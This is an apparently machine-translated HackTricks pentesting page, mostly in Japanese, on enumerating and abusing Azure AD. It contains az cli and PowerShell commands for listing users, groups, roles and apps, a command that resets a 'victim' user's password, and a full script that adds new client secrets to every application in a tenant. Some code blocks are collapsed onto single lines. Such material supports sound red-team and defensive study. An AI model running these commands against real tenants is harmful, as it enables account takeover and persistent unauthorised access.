Az - AzureAD (AAD)

Support HackTricks

基本情報

Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスできるようにするために重要です。Azure AD の設計は、認証、承認、およびユーザー管理を含む基本的なアイデンティティサービスを提供することに重点を置いています。

Azure AD の主な機能には、多要素認証条件付きアクセスが含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制できるようにします。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。

エンティティ

列挙

この列挙には、az cli tool**、PowerShell モジュール AzureAD (または AzureAD Preview) および Az PowerShell モジュールを使用できます。

In linux you will need to install PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

モジュールの違い

  • AzureAD は、Azure ADを管理するためのMicrosoftのPowerShellモジュールです。Azure ADオブジェクトのすべてのプロパティを表示せず、Azureリソース情報にアクセスするためには使用できません

  • Az PowerShell は、PowerShellコマンドラインからAzureリソースを管理するためのモジュールです

接続

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

AzureにCLIを通じてログインする際、あなたはMicrosoftに属するテナントからのAzureアプリケーションを使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、クライアントID持っています。あなたはコンソールで見ることができる許可されたアプリケーションのリストにはすべてを見ることができませんがデフォルトで許可されています

例えば、認証を行うPowerShellスクリプトは、クライアントID**1950a258-227b-4e31-a9cf-717495945fc2を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者はそのアプリケーションをブロックすることができ**、ユーザーがそのアプリを介して接続することを防ぐことができます。

しかし、Azureに接続を許可する他のクライアントIDを持つアプリケーションもあります:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

ユーザー

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

ユーザーパスワードの変更

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、またはいくつかの条件からログインした場合にのみMFAを要求する条件付きアクセスを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、バイパスされる可能性があります。確認してください:

Groups

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

グループにユーザーを追加

グループの所有者は新しいユーザーをグループに追加できます

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

グループは動的であり、基本的にはユーザーが特定の条件を満たすとグループに追加されることを意味します。もちろん、条件がユーザー制御できる属性に基づいている場合、彼はこの機能を悪用して他のグループに入ることができます。 動的グループを悪用する方法については、以下のページを確認してください:

サービスプリンシパル / エンタープライズアプリケーション

PowerShell用語においてサービスプリンシパルは、Azureポータル(ウェブ)ではエンタープライズアプリケーションと呼ばれます。

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

サービスプリンシパルのオーナーは、そのパスワードを変更できます。

各エンタープライズアプリでクライアントシークレットをリストし、追加を試みる

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### 役割

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

デバイス

# If you know how to do this send a PR!# Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

デバイス (VM) が AzureAD に参加している 場合、AzureAD のユーザーは ログインできる ようになります。 さらに、ログインしているユーザーがデバイスの オーナー である場合、彼は ローカル管理者 になります。

アプリケーション

アプリ はポータル内の アプリ登録 です (エンタープライズアプリケーションではありません)。 ただし、各アプリ登録は同じ名前の エンタープライズアプリケーション (サービスプリンシパル) を作成します。 さらに、アプリが マルチテナントアプリ の場合、そのテナント に同じ名前の 別の エンタープライズアプリ (サービスプリンシパル) が作成されます。

アプリが生成されると、2種類の権限が付与されます:

  • サービスプリンシパル に与えられる 権限

  • アプリユーザーの代理 として持ち、使用できる 権限

# List Appsaz ad app listaz ad app list --query "[].[displayName]" -o table# Get info of 1 Appaz ad app show --id 00000000-0000-0000-0000-000000000000# Search App by stringaz ad app list --query "[?contains(displayName,'app')].displayName"# Get the owner of an applicationaz ad app owner list --id <id> --query "[].[displayName]" -o table# List all the apps with an application passwordaz ad app list --query "[?passwordCredentials != null].displayName"# List apps that have key credentials (use of certificate authentication)az ad app list --query "[?keyCredentials != null].displayName"# List all registered applicationsGet-AzureADApplication -All $true# Get details of an applicationGet-AzureADApplication -ObjectId <id> | fl *# List all the apps with an application passwordGet-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}# Get owner of an applicationGet-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *# Get AppsGet-AzADApplication# Get details of one AppGet-AzADApplication -ObjectId <id># Get App searching by stringGet-AzADApplication | ?{$_.DisplayName -match "app"}# Get Apps with passwordGet-AzADAppCredential

AppRoleAssignment.ReadWrite の権限を持つアプリは、役割を自分に付与することで グローバル管理者に昇格 できます。 詳細については こちらを確認してください

アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列はアプリケーションパスワードです。 したがって、この パスワード を見つけると、テナント 内の サービスプリンシパル としてアクセスできます。 このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。 アプリケーション所有者 は、(そのアプリケーションを偽装できるように)パスワードを追加 できます。 これらのサービスプリンシパルとしてのログインは リスクがあるとマークされずMFAはありません。

アプリケーションと(エンタープライズアプリケーションまたはサービスプリンシパル)の違い

Azureにおけるアプリケーションとサービスプリンシパルの違い:

  • アプリケーション/アプリ登録: あなたのAzure ADに存在するアプリケーションです。

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • サービスプリンシパル/エンタープライズアプリケーション: Azureディレクトリ内で 特権 を持つことができ、あなたのアプリケーションまたはサードパーティアプリケーションにリンクされているAzure AD内のセキュリティオブジェクトです。

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • 非常に敏感な権限の場合、管理者が与えられた権限を承認する必要があるかもしれません。

アプリケーションは サードパーティテナント で実行されている可能性があり、使用を開始してアクセスを与えると、エンタープライズアプリケーション/サービスプリンシパルがあなたのテナントに作成され、必要な情報へのアクセスが与えられます。

管理単位

ユーザーの管理をより良くするために使用されます。

管理単位は、あなたが定義する組織の任意の部分に役割の権限を 制限 します。たとえば、管理単位を使用して、地域のサポートスペシャリストに ヘルプデスク管理者 の役割を委任し、彼らがサポートする地域のユーザーのみを管理できるようにすることができます。

したがって、役割を管理単位に割り当てることができ、そのメンバーはこの役割を持つことになります。

# Get Administrative UnitsGet-AzureADMSAdministrativeUnitGet-AzureADMSAdministrativeUnit -Id <id># Get ID of admin unit by string$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"# List the users, groups, and devices affected by the administrative unitGet-AzureADMSAdministrativeUnitMember -Id <id># Get the roles users have over the members of the AUGet-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD アイデンティティ保護 (AIP)

Azure AD アイデンティティ保護 (AIP) は、自動検出と修復を使用して、Azure Active Directory のユーザーアイデンティティが侵害されるのを防ぐ セキュリティサービスです。AIP はユーザーのサインインとアイデンティティ設定のリスクを継続的に監視および評価し、適切なセキュリティ対策を自動的に適用 します。たとえば、多要素認証を要求したり、潜在的に危険な活動をブロックしたりします。これにより、組織はアイデンティティに基づくセキュリティ侵害を防ぐことができます。

フロー:

  1. Azure AD アイデンティティ保護は、ユーザー活動を監視し、ユーザーのサインイン、認証イベント、およびその他の関連活動に関するデータを収集します。

  2. サービスは、機械学習アルゴリズムを使用してこのデータを分析し、潜在的なセキュリティ脅威を検出します。

  3. Azure AD アイデンティティ保護は、脅威にリスクレベルを割り当て(例:サインイン)し、自動アクションを実行する必要がある場合はアラートを生成します。

Azure AD パスワード保護 (APP)

Azure AD パスワード保護 (APP) は、強力なパスワードポリシーを強制することによって、Azure Active Directory における弱いパスワードを防ぐ セキュリティ機能です。APP は、一般的に使用される弱いパスワードとそのバリエーションをブロックし、パスワード関連の侵害のリスクを減少させます。これは、クラウドレベルとオンプレミスの Active Directory の両方に適用でき、組織全体のパスワードセキュリティを強化します。

参考文献

Last updated